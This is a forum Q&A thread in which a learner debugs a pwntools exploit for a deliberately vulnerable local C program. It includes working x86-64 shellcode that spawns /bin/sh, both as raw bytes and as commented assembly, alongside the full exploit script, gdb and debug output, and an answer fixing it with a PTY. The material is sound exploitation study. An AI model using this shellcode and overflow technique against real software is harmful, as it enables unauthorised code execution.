1

Recently, I've been trying to learn how to use the pwntools library. I am trying to exploit the following program using pwntools:

#include <stdio.h>
#include <stdlib.h>

int main(void) {
    char buf[256];

    printf("Buffer is at %p.\n", buf);
    printf("Type in your name: ");
    fgets(buf, 1000, stdin);
    printf("Hello %s", buf);

    return 0;
}

It has been compiled using gcc -o bof bof.c -fno-stack-protector -z execstack. I am able to exploit the vulnerability if I disable ASLR. My exploit just has shellcode that executes /bin/sh, some useless NOPs, and finally the location of my shellcode on the stack.

$ python -c "import sys; sys.stdout.buffer.write(b'\x48\x31\xc0\x48\x31\xff\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x48\x31\xc0\xb0\x3b\x48\x31\xdb\x53\xbb\x6e\x2f\x73\x68\x48\xc1\xe3\x10\x66\xbb\x62\x69\x48\xc1\xe3\x10\xb7\x2f\x53\x48\x89\xe7\x48\x83\xc7\x01\x48\x31\xf6\x48\x31\xd2\x0f\x05' + b'\x90' * 186 + b'\x50\xdd\xff\xff\xff\x7f')" | ./bof
Buffer is at 0x7fffffffdd50.
$ echo hello world
hello world
$ exit
sh: 2: Cannot set tty process group (No such process)

Yet, when I try doing the exact same thing within pwntools, I get the following:

$ python bof.py 
[+] Starting local process './bof': pid 10967
Received: b'Buffer is at 0x7fffffffdd40.\n'
Using address: b'@\xdd\xff\xff\xff\x7f\x00\x00'
Using payload:
b"H1\xc0H1\xff\xb0\x03\x0f\x05PH\xbf/dev/ttyWT_P^f\xbe\x02'\xb0\x02\x0f\x05H1\xc0\xb0;H1\xdbS\xbbn/shH\xc1\xe3\x10f\xbbbiH\xc1\xe3\x10\xb7/SH\x89\xe7H\x83\xc7\x01H1\xf6H1\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@\xdd\xff\xff\xff\x7f\x00\x00"

[*] Switching to interactive mode
$ 
$ $ 
[*] Got EOF while sending in interactive

This is the code inside of bof.py:

from pwn import *
  
# Start the process
context.update(arch="i386", os="linux")
p = process("./bof")
received = str(p.recvline())
print("Received: " + received)

# Get the address of the buffer
buffer_addr_str = received.split()[3:][0][:-4]
buffer_addr = p64(int(buffer_addr_str, 16))
print("Using address: " + str(buffer_addr))

# Generate the payload
payload = b'\x48\x31\xc0\x48\x31\xff\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x48\x31\xc0\xb0\x3b\x48\x31\xdb\x53\xbb\x6e\x2f\x73\x68\x48\xc1\xe3\x10\x66\xbb\x62\x69\x48\xc1\xe3\x10\xb7\x2f\x53\x48\x89\xe7\x48\x83\xc7\x01\x48\x31\xf6\x48\x31\xd2\x0f\x05'
nops = b'\x90' * (264 - len(payload))
print("Using payload:")
print(payload+nops+buffer_addr)
print()

# Trigger the buffer overflow
p.send(payload + nops + buffer_addr)
p.interactive()

This is the shellcode that I'm using:

section .text
global _start
_start:

; Syscall to close stdin
xor rax, rax
xor rdi, rdi ; Zero represents stdin
mov al, 3 ; close(0)
syscall

; open("/dev/tty", O_RDWR | ...)
push rax ; Push a NULL byte onto the stack
mov rdi, 0x7974742f7665642f ; Move "/dev/tty" (written backwards) into rdi.
push rdi ; Push the string "/dev/tty" onto the stack.
push rsp ; Push a pointer to the string onto the stack.
pop rdi ; rdi now has a pointer to the string "/dev/tty"
        ; This is equivalent to doing "mov rdi, rsp"
push rax ; Push a NULL byte onto the stack
pop rsi ; Make rsi NULL
        ; This is equivalent to doing "mov rsi, 0"
mov si, 0x2702 ; Flag for O_RDWR
mov al, 0x2 ; Syscall for sys_open
syscall

; Syscall for execve
xor rax, rax
mov al, 59

; Push a NULL byte onto the stack
xor rbx, rbx
push rbx

; Push /bin/sh onto the stack and get a pointer to it in rdi
mov rbx, 0x68732f6e ; Move "n/sh" into rbx (written backwards).
shl rbx, 16 ; Make 2 extra bytes of room in rbx
mov bx, 0x6962 ; Move "bi" into rbx. Rbx is now equal to "bin/sh" written backwards.
shl rbx, 16 ; Make 2 extra bytes of room in rbx
mov bh, 0x2f ; Move "/" into rbx. Rbx is now equal to "/bin/sh" written backwards.
push rbx ; Move the string "/bin/sh" onto the stack
mov rdi, rsp ; Get a pointer to the string "/bin/sh" in rdi
add rdi, 1 ; Add one to rdi (because there is a NULL byte at the beginning)

; Make these values NULL
xor rsi, rsi
xor rdx, rdx

; Do the syscall
syscall

I don't understand why calling p.interactive() doesn't spawn a shell. I am sending the same kind of payload that I would be sending if this was being done outside of pwntools. Why am I not getting a shell?

Edit: This is what I see when I run the script with DEBUG:

$ python bof.py DEBUG
[+] Starting local process './bof' argv=[b'./bof']  env={b'SHELL': b'/bin/bash', b'SESSION_MANAGER': b'local/N:@/tmp/.ICE-unix/3778,unix/N:/tmp/.ICE-unix/3778', b'QT_ACCESSIBILITY': b'1', b'COLORTERM': b'truecolor', b'XDG_CONFIG_DIRS': b'/etc/xdg/xdg-ubuntu:/etc/xdg', b'XDG_MENU_PREFIX': b'gnome-', b'GNOME_DESKTOP_SESSION_ID': b'this-is-deprecated', b'LANGUAGE': b'en_US:en', b'MANDATORY_PATH': b'/usr/share/gconf/ubuntu.mandatory.path', b'LC_ADDRESS': b'en_US.UTF-8', b'GNOME_SHELL_SESSION_MODE': b'ubuntu', b'LC_NAME': b'en_US.UTF-8', b'SSH_AUTH_SOCK': b'/run/user/1000/keyring/ssh', b'XMODIFIERS': b'@im=ibus', b'DESKTOP_SESSION': b'ubuntu', b'LC_MONETARY': b'en_US.UTF-8', b'SSH_AGENT_PID': b'3743', b'GTK_MODULES': b'gail:atk-bridge', b'PWD': b'/home/n/Documents/Exploitation/basics', b'LOGNAME': b'n', b'XDG_SESSION_DESKTOP': b'ubuntu', b'XDG_SESSION_TYPE': b'x11', b'GPG_AGENT_INFO': b'/run/user/1000/gnupg/S.gpg-agent:0:1', b'XAUTHORITY': b'/run/user/1000/gdm/Xauthority', b'GJS_DEBUG_TOPICS': b'JS ERROR;JS LOG', b'WINDOWPATH': b'2', b'HOME': b'/home/n', b'USERNAME': b'n', b'IM_CONFIG_PHASE': b'1', b'LC_PAPER': b'en_US.UTF-8', b'LANG': b'en_US.UTF-8', b'LS_COLORS': b'rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:', b'XDG_CURRENT_DESKTOP': b'ubuntu:GNOME', b'VTE_VERSION': b'6003', b'GNOME_TERMINAL_SCREEN': b'/org/gnome/Terminal/screen/ff3cb1d9_3c32_4305_b119_f9818ba98eb0', b'INVOCATION_ID': b'f6142bf9cd0a472eadfed7888909b8da', b'MANAGERPID': b'3551', b'GJS_DEBUG_OUTPUT': b'stderr', b'GEM_HOME': b'/home/n/gems', b'LESSCLOSE': b'/usr/bin/lesspipe %s %s', b'XDG_SESSION_CLASS': b'user', b'TERM': b'xterm-256color', b'LC_IDENTIFICATION': b'en_US.UTF-8', b'DEFAULTS_PATH': b'/usr/share/gconf/ubuntu.default.path', b'LESSOPEN': b'| /usr/bin/lesspipe %s', b'USER': b'n', b'GNOME_TERMINAL_SERVICE': b':1.166', b'DISPLAY': b':0', b'SHLVL': b'1', b'LC_TELEPHONE': b'en_US.UTF-8', b'QT_IM_MODULE': b'ibus', b'LC_MEASUREMENT': b'en_US.UTF-8', b'PAPERSIZE': b'letter', b'XDG_RUNTIME_DIR': b'/run/user/1000', b'LC_TIME': b'en_US.UTF-8', b'JOURNAL_STREAM': b'9:50754', b'XDG_DATA_DIRS': b'/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop', b'PATH': b'/home/n/gems/bin:/home/n/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin', b'GDMSESSION': b'ubuntu', b'DBUS_SESSION_BUS_ADDRESS': b'unix:path=/run/user/1000/bus', b'LC_NUMERIC': b'en_US.UTF-8', b'_': b'/usr/bin/python3', b'OLDPWD': b'/home/n/Documents/Exploitation'} : pid 21335
[DEBUG] Received 0x1d bytes:
    b'Buffer is at 0x7fffffffdd40.\n'
Received: b'Buffer is at 0x7fffffffdd40.\n'
Using address: b'@\xdd\xff\xff\xff\x7f\x00\x00'
Using payload:
b"H1\xc0H1\xff\xb0\x03\x0f\x05PH\xbf/dev/ttyWT_P^f\xbe\x02'\xb0\x02\x0f\x05H1\xc0\xb0;H1\xdbS\xbbn/shH\xc1\xe3\x10f\xbbbiH\xc1\xe3\x10\xb7/SH\x89\xe7H\x83\xc7\x01H1\xf6H1\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@\xdd\xff\xff\xff\x7f\x00\x00"

[DEBUG] Sent 0x110 bytes:
    00000000  48 31 c0 48  31 ff b0 03  0f 05 50 48  bf 2f 64 65  │H1·H│1···│··PH│·/de│
    00000010  76 2f 74 74  79 57 54 5f  50 5e 66 be  02 27 b0 02  │v/tt│yWT_│P^f·│·'··│
    00000020  0f 05 48 31  c0 b0 3b 48  31 db 53 bb  6e 2f 73 68  │··H1│··;H│1·S·│n/sh│
    00000030  48 c1 e3 10  66 bb 62 69  48 c1 e3 10  b7 2f 53 48  │H···│f·bi│H···│·/SH│
    00000040  89 e7 48 83  c7 01 48 31  f6 48 31 d2  0f 05 90 90  │··H·│··H1│·H1·│····│
    00000050  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000100  90 90 90 90  90 90 90 90  40 dd ff ff  ff 7f 00 00  │····│····│@···│····│
    00000110
[*] Switching to interactive mode
$ 
[DEBUG] Sent 0x1 bytes:
    10 * 0x1
[DEBUG] Received 0x2 bytes:
    b'$ '
$ $ 
[DEBUG] Sent 0x1 bytes:
    10 * 0x1
[*] Got EOF while sending in interactive

Edit 2: I attached a debugger to my program by changing p = process("./bof") to p = gdb.debug("./bof"). I set a breakpoint at main and stepped through the program. It did eventually execute my shellcode correctly. However, after the last syscall in my shellcode executed, I got the following instead of getting a shell:

0x00007fffffffdd8c in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x3b              
$rbx   : 0x68732f6e69622f00
$rcx   : 0x00007fffffffdd62  →  0xdb31483bb0c03148
$rdx   : 0x0               
$rsp   : 0x00007fffffffde30  →  0x68732f6e69622f00
$rbp   : 0x9090909090909090
$rsi   : 0x0               
$rdi   : 0x00007fffffffde31  →  0x0068732f6e69622f ("/bin/sh"?)
$rip   : 0x00007fffffffdd8c  →  0x909090909090050f
$r8    : 0xfffffffffffffff9
$r9    : 0x114             
$r10   : 0x0000555555556032  →   add BYTE PTR [rax], al
$r11   : 0x346             
$r12   : 0x0000555555555080  →  <_start+0> endbr64 
$r13   : 0x00007fffffffdf30  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde30│+0x0000: 0x68732f6e69622f00   ← $rsp
0x00007fffffffde38│+0x0008: 0x0000000000000000
0x00007fffffffde40│+0x0010: "/dev/tty"
0x00007fffffffde48│+0x0018: 0x0000000000000000
0x00007fffffffde50│+0x0020: 0x00007ffff7ff000a  →   add BYTE PTR [rbp-0x77], cl
0x00007fffffffde58│+0x0028: 0x00007fffffffdf38  →  0x00007fffffffe2ab  →  0x485300666f622f2e ("./bof"?)
0x00007fffffffde60│+0x0030: 0x0000000100000000
0x00007fffffffde68│+0x0038: 0x0000555555555169  →  <main+0> endbr64 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7fffffffdd82                  add    rdi, 0x1
   0x7fffffffdd86                  xor    rsi, rsi
   0x7fffffffdd89                  xor    rdx, rdx
 → 0x7fffffffdd8c                  syscall 
   0x7fffffffdd8e                  nop    
   0x7fffffffdd8f                  nop    
   0x7fffffffdd90                  nop    
   0x7fffffffdd91                  nop    
   0x7fffffffdd92                  nop    
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bof", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7fffffffdd8c → syscall 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  
process 32648 is executing new program: /bin/dash
Reading /bin/dash from remote target...
Reading /bin/dash from remote target...
Reading /bin/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
Reading /bin/.debug/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
Reading /usr/lib/debug//bin/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
Reading /usr/lib/debug/bin//2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
Reading target:/usr/lib/debug/bin//2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...
Error in re-setting breakpoint 1: Function "main" not defined.
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
Reading /lib64/ld-2.31.so from remote target...
Reading /lib64/.debug/ld-2.31.so from remote target...
Reading /usr/lib/debug//lib64/ld-2.31.so from remote target...
Reading /usr/lib/debug/lib64//ld-2.31.so from remote target...
Reading target:/usr/lib/debug/lib64//ld-2.31.so from remote target...
Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target...
Reading /lib/x86_64-linux-gnu/libc-2.31.so from remote target...
Reading /lib/x86_64-linux-gnu/.debug/libc-2.31.so from remote target...
Reading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so from remote target...
Reading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so from remote target...
  • the script works if I run it on my machine. Maybe try running the script with DEBUG? It should print some extra data. Maybe there's something that can explain this behavior. – Paweł Łukasik Oct 18 at 17:47
  • @PawełŁukasik I updated my post to include what happened when I ran the script with DEBUG enabled. – TigerThePredator Oct 18 at 23:21
  • It looks like there's something sending more data after switching to interactive - there should be only your input after that. – Paweł Łukasik Oct 19 at 7:02
  • @PawełŁukasik I need to hit enter after I run the script so that my payload actually gets sent, which appears as extra data in the debug statement. If I don't hit enter, my payload never gets sent to the process. Even if that wasn't the case, why would it make any difference in the exploit? It is also worth noting that the second last "$" character that gets printed out on my screen is white (instead of pwntool's default red), which indicates that a shell is being created. So why am I unable to interact with that shell, and why does it give me an EOF? Is this a bug in pwntools? – TigerThePredator Oct 20 at 1:28
2

If you change your process startup to

p = process(["strace", "-o", "strace.out", "./bof"])

and check the resulting strace.out file, you will see:

close(0)                                = 0
open("/dev/tty", O_RDWR|O_NOCTTY|O_TRUNC|O_APPEND|FASYNC) = 0
execve("/bin/sh", NULL, NULL)           = 0
...
read(0, 0x55ae7a6d5aa0, 8192)           = -1 EIO (Input/output error)

So this has to do with shellcode reopening stdin as /dev/tty.

Let's check the doc:

stdin (int) – File object or file descriptor number to use for stdin.
By default, a pipe is used. A pty can be used instead by setting this
to PTY. This will cause programs to behave in an interactive manner
(e.g.., python will show a >>> prompt). If the application reads from
/dev/tty directly, use a pty.

and do as it says:

p = process("./bof", stdin=PTY)

Voila!

[*] Switching to interactive mode
Type in your name: $ 
$ $ id -u
1000
| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.